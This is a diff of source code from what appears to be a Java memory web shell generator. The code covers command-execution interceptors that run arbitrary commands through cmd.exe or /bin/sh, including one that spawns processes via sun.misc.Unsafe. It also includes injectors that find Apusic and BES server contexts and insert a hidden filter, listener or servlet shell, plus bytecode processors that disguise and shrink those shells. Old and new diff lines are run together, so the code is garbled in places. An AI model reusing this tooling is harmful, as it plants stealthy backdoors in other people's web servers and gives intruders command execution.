if (t == null) {
cmdarray = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
} else {
if (t.contains("\"{command}\"")) {
String[] split = t.split("\\s+");
for (int i = 0; i < split.length; i++) {
split[i] = split[i].replace("\"{command}\"", cmd);
}
cmdarray = split;
} else {
String cmdline = t.replace("{command}", cmd);
cmdarray = cmdline.split("\\s+");
}
}
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe"); Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true); unsafeField.setAccessible(true);
@@ -48,11 +30,11 @@ public class ForkAndExecInterceptor {
} }
Object processObject = unsafeClass.getMethod("allocateInstance", Class.class).invoke(unsafe, processClass); Object processObject = unsafeClass.getMethod("allocateInstance", Class.class).invoke(unsafe, processClass);
byte[][] args = new byte[cmdarray.length - 1][]; byte[][] args = new byte[strs.length - 1][];
int size = args.length; int size = args.length;
for (int i = 0; i < args.length; i++) { for (int i = 0; i < args.length; i++) {
args[i] = cmdarray[i + 1].getBytes(); args[i] = strs[i + 1].getBytes();
size += args[i].length; size += args[i].length;
} }
@@ -66,7 +48,7 @@ public class ForkAndExecInterceptor {
int[] envc = new int[1]; int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1}; int[] std_fds = new int[]{-1, -1, -1};
byte[] bytes = cmdarray[0].getBytes(); byte[] bytes = strs[0].getBytes();
byte[] result = new byte[bytes.length + 1]; byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0, System.arraycopy(bytes, 0,
result, 0, result, 0,
@@ -10,28 +10,9 @@ import java.io.InputStream;
* @since 2025/5/25 * @since 2025/5/25
*/ */
public class RuntimeExecInterceptor { public class RuntimeExecInterceptor {
@Advice.OnMethodExit @Advice.OnMethodExit
public static void enter(@Advice.Argument(value = 0) String cmd, public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
@Advice.Return(readOnly = false) InputStream returnValue, String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
@TemplateAnnotation String template returnValue = new ProcessBuilder(cmds).redirectErrorStream(true).start().getInputStream();
) throws IOException {
String[] cmdarray = null;
String t = template;
if (t == null) {
cmdarray = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
} else {
if (t.contains("\"{command}\"")) {
String[] split = t.split("\\s+");
for (int i = 0; i < split.length; i++) {
split[i] = split[i].replace("\"{command}\"", cmd);
}
cmdarray = split;
} else {
String cmdline = t.replace("{command}", cmd);
cmdarray = cmdline.split("\\s+");
}
}
returnValue = new ProcessBuilder(cmdarray).redirectErrorStream(true).start().getInputStream();
} }
} }
@@ -1,8 +0,0 @@
package com.reajason.javaweb.memshell.generator.command;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
@Retention(RetentionPolicy.RUNTIME)
public @interface TemplateAnnotation {
}
@@ -1,22 +0,0 @@
package com.reajason.javaweb.memshell.generator.processors;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.Processor;
import net.bytebuddy.dynamic.DynamicType;
/**
* @author ReaJason
* @since 2025/12/7
*/
public class DebugOffBuilderModifier implements Processor<DynamicType.Builder<?>> {
@Override
public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
return builder;
}
}
@@ -1,16 +0,0 @@
package com.reajason.javaweb.memshell.generator.processors;
import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.Processor;
public class JakartaPostProcessor implements Processor<byte[]> {
@Override
public byte[] process(byte[] input, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
if (shellConfig.isJakarta()) {
return ClassRenameUtils.relocateJakarta(input);
}
return input;
}
}
@@ -1,62 +0,0 @@
package com.reajason.javaweb.memshell.generator.processors;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.asm.ClassSuperClassUtils;
import com.reajason.javaweb.asm.MethodUtils;
import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.Processor;
import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.memshell.server.Jetty;
/**
* @author ReaJason
* @since 2025/12/7
*/
public class JettyHandlerPostProcessor implements Processor<byte[]> {
@Override
public byte[] process(byte[] bytes, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
String shellType = shellConfig.getShellType();
if (server instanceof Jetty
&& (ShellType.HANDLER.equals(shellType)
|| ShellType.JAKARTA_HANDLER.equals(shellType))
) {
String superClassName = null;
String serverVersion = shellConfig.getServerVersion();
if (serverVersion != null) {
switch (serverVersion) {
case "6":
superClassName = "org/mortbay/jetty/handler/AbstractHandler";
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Lorg/eclipse/jetty/server/Request;Lorg/eclipse/jetty/server/Response;Lorg/eclipse/jetty/util/Callback;)Z");
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V");
bytes = ClassRenameUtils.relocateClass(bytes, "org/eclipse/jetty/server", "org/mortbay/jetty");
break;
case "7+":
superClassName = "org/eclipse/jetty/server/handler/AbstractHandler";
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Lorg/eclipse/jetty/server/Request;Lorg/eclipse/jetty/server/Response;Lorg/eclipse/jetty/util/Callback;)Z");
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;I)V");
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;I)V");
break;
case "12":
superClassName = "org/eclipse/jetty/server/Handler$Abstract";
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/Object;Ljava/lang/Object;)Z");
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;I)V");
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;I)V");
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V");
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;)V");
break;
}
}
if (superClassName == null) {
throw new GenerationException("serverVersion is needed for Jetty Handler or unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7+', '12'] for shellConfig.serverVersion");
}
return ClassSuperClassUtils.addSuperClass(bytes, superClassName);
}
return bytes;
}
}
@@ -1,69 +0,0 @@
package com.reajason.javaweb.memshell.generator.processors;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.Processor;
import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.method.MethodDescription;
import net.bytebuddy.description.method.MethodList;
import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FixedValue;
import net.bytebuddy.implementation.StubMethod;
import net.bytebuddy.matcher.ElementMatchers;
import static net.bytebuddy.matcher.ElementMatchers.named;
import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
/**
* @author ReaJason
* @since 2025/12/7
*/
public class ListenerBuilderModifier implements Processor<DynamicType.Builder<?>> {
@Override
public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
String shellType = shellConfig.getShellType();
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
String shellClassName = shellToolConfig.getShellClassName();
builder = modifier(builder,
server.getListenerInterceptor(),
shellToolConfig.getShellTypeDescription(),
shellClassName);
}
return builder;
}
public static DynamicType.Builder<?> modifier(DynamicType.Builder<?> builder, Class<?> implInterceptor,
TypeDescription typeDefinition, String newClassName) {
MethodList<MethodDescription.InDefinedShape> methods = typeDefinition.getDeclaredMethods();
if (methods.filter(named("getResponseFromRequest").and(takesArguments(1))).isEmpty()) {
throw new GenerationException("please add [getResponseFromRequest(Object request)] method," +
" the method body will be auto adapted for multi server");
} else {
builder = builder
.visit(MethodCallReplaceVisitorWrapper.newInstance(
"getResponseFromRequest", newClassName, ShellCommonUtil.class.getName()))
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
}
if (methods.filter(named("getFieldValue").and(takesArguments(Object.class, String.class))).isEmpty()) {
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
.withParameters(Object.class, String.class)
.throwing(Exception.class)
.intercept(StubMethod.INSTANCE)
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
}
return builder;
}
}
@@ -1,18 +0,0 @@
package com.reajason.javaweb.memshell.generator.processors;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.Processor;
/**
* @author ReaJason
* @since 2025/12/7
*/
public class ShrinkPostProcessor implements Processor<byte[]> {
@Override
public byte[] process(byte[] bytes, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
return ClassBytesShrink.shrink(bytes, shellConfig.isShrink());
}
}
@@ -7,8 +7,8 @@ import java.io.PrintStream;
import java.lang.reflect.Array; import java.lang.reflect.Array;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.HashSet; import java.util.ArrayList;
import java.util.LinkedHashSet; import java.util.List;
import java.util.Map; import java.util.Map;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -19,8 +19,7 @@ import java.util.zip.GZIPInputStream;
*/ */
public class ApusicFilterInjector { public class ApusicFilterInjector {
private static String msg = ""; private String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -35,21 +34,16 @@ public class ApusicFilterInjector {
} }
public ApusicFilterInjector() { public ApusicFilterInjector() {
if (ok) { List<Object> contexts = null;
return;
}
Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null || contexts.isEmpty()) { if (contexts != null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -58,7 +52,6 @@ public class ApusicFilterInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -81,11 +74,11 @@ public class ApusicFilterInjector {
/** /**
* context: com.apusic.web.container.WebContainer * context: com.apusic.web.container.WebContainer
* context - webapp: com.apusic.deploy.runtime.WebModule * context -> webapp: com.apusic.deploy.runtime.WebModule
* /usr/local/ass/lib/apusic.jar * /usr/local/ass/lib/apusic.jar
*/ */
public Set<Object> getContext() throws Exception { public List<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>(); List<Object> contexts = new ArrayList<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("HouseKeeper")) { if (thread.getName().contains("HouseKeeper")) {
@@ -146,12 +139,7 @@ public class ApusicFilterInjector {
Object filterMapping = filterMappingClass.newInstance(); Object filterMapping = filterMappingClass.newInstance();
invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
LinkedHashSet beforeFilterMappings = (LinkedHashSet) getFieldValue(webModule, "beforeFilterMappings"); invokeMethod(webModule, "addBeforeFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
LinkedHashSet newSet = new LinkedHashSet();
newSet.add(filterMapping);
newSet.addAll(beforeFilterMappings);
beforeFilterMappings.clear();
beforeFilterMappings.addAll(newSet);
// addFilterModel // addFilterModel
invokeMethod(webModule, "addFilter", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()}); invokeMethod(webModule, "addFilter", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
@@ -224,25 +212,30 @@ public class ApusicFilterInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); try {
Method method = null; Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
while (clazz != null && method == null) { Method method = null;
try { while (clazz != null && method == null) {
if (paramClazz == null) { try {
method = clazz.getDeclaredMethod(methodName); if (paramClazz == null) {
} else { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName, paramClazz); } else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -6,7 +6,8 @@ import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.HashSet; import java.util.ArrayList;
import java.util.List;
import java.util.Map; import java.util.Map;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -17,8 +18,7 @@ import java.util.zip.GZIPInputStream;
*/ */
public class ApusicListenerInjector { public class ApusicListenerInjector {
private static String msg = ""; private String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -33,30 +33,24 @@ public class ApusicListenerInjector {
} }
public ApusicListenerInjector() { public ApusicListenerInjector() {
if (ok) { List<Object> contexts = null;
return;
}
Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null || contexts.isEmpty()) { if (contexts != null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[/*] ready\n";
} catch (Throwable e) { } catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n"; msg += "failed " + getErrorMessage(e) + "\n";
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -77,8 +71,8 @@ public class ApusicListenerInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public Set<Object> getContext() throws Exception { public List<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>(); List<Object> contexts = new ArrayList<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("HouseKeeper")) { if (thread.getName().contains("HouseKeeper")) {
@@ -199,25 +193,30 @@ public class ApusicListenerInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); try {
Method method = null; Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
while (clazz != null && method == null) { Method method = null;
try { while (clazz != null && method == null) {
if (paramClazz == null) { try {
method = clazz.getDeclaredMethod(methodName); if (paramClazz == null) {
} else { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName, paramClazz); } else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -6,7 +6,8 @@ import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.HashSet; import java.util.ArrayList;
import java.util.List;
import java.util.Map; import java.util.Map;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -17,8 +18,7 @@ import java.util.zip.GZIPInputStream;
*/ */
public class ApusicServletInjector { public class ApusicServletInjector {
private static String msg = ""; private String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -33,21 +33,16 @@ public class ApusicServletInjector {
} }
public ApusicServletInjector() { public ApusicServletInjector() {
if (ok) { List<Object> contexts = null;
return;
}
Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null || contexts.isEmpty()) { if (contexts != null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -56,7 +51,6 @@ public class ApusicServletInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -77,8 +71,8 @@ public class ApusicServletInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public Set<Object> getContext() throws Exception { public List<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>(); List<Object> contexts = new ArrayList<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("HouseKeeper")) { if (thread.getName().contains("HouseKeeper")) {
@@ -200,25 +194,30 @@ public class ApusicServletInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); try {
Method method = null; Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
while (clazz != null && method == null) { Method method = null;
try { while (clazz != null && method == null) {
if (paramClazz == null) { try {
method = clazz.getDeclaredMethod(methodName); if (paramClazz == null) {
} else { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName, paramClazz); } else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -15,8 +15,7 @@ import java.util.zip.GZIPInputStream;
* @author ReaJason * @author ReaJason
*/ */
public class BesFilterInjector { public class BesFilterInjector {
private static String msg = ""; private String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -31,21 +30,16 @@ public class BesFilterInjector {
} }
public BesFilterInjector() { public BesFilterInjector() {
if (ok) { List<Object> contexts = null;
return;
}
Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null || contexts.isEmpty()) { if (contexts != null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -54,7 +48,6 @@ public class BesFilterInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -62,7 +55,7 @@ public class BesFilterInjector {
private String getContextRoot(Object context) { private String getContextRoot(Object context) {
String r = null; String r = null;
try { try {
r = (String) getFieldValue(context, "encodedPath"); r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) { } catch (Exception ignored) {
} }
String c = context.getClass().getName(); String c = context.getClass().getName();
@@ -79,8 +72,8 @@ public class BesFilterInjector {
* com.bes.enterprise.webtier.core.DefaultContext * com.bes.enterprise.webtier.core.DefaultContext
* /opt/bes/lib/bes-engine.jar * /opt/bes/lib/bes-engine.jar
*/ */
public Set<Object> getContext() throws Exception { public List<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>(); List<Object> contexts = new ArrayList<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -90,22 +83,12 @@ public class BesFilterInjector {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
} }
} }
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) throws Exception { private ClassLoader getWebAppClassLoader(Object context) {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) { } catch (Exception e) {
@@ -218,25 +201,30 @@ public class BesFilterInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); try {
Method method = null; Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
while (clazz != null && method == null) { Method method = null;
try { while (clazz != null && method == null) {
if (paramClazz == null) { try {
method = clazz.getDeclaredMethod(methodName); if (paramClazz == null) {
} else { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName, paramClazz); } else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -15,8 +15,7 @@ import java.util.zip.GZIPInputStream;
*/ */
public class BesListenerInjector { public class BesListenerInjector {
private static String msg = ""; private String msg = "";
private static boolean ok = false;
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -27,21 +26,16 @@ public class BesListenerInjector {
} }
public BesListenerInjector() { public BesListenerInjector() {
if (ok) { List<Object> contexts = null;
return;
}
Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null || contexts.isEmpty()) { if (contexts != null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[/*] ready\n"; msg += "[/*] ready\n";
@@ -50,7 +44,6 @@ public class BesListenerInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -58,7 +51,7 @@ public class BesListenerInjector {
private String getContextRoot(Object context) { private String getContextRoot(Object context) {
String r = null; String r = null;
try { try {
r = (String) getFieldValue(context, "encodedPath"); r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) { } catch (Exception ignored) {
} }
String c = context.getClass().getName(); String c = context.getClass().getName();
@@ -71,8 +64,8 @@ public class BesListenerInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public Set<Object> getContext() throws Exception { public List<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>(); List<Object> contexts = new ArrayList<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -82,16 +75,6 @@ public class BesListenerInjector {
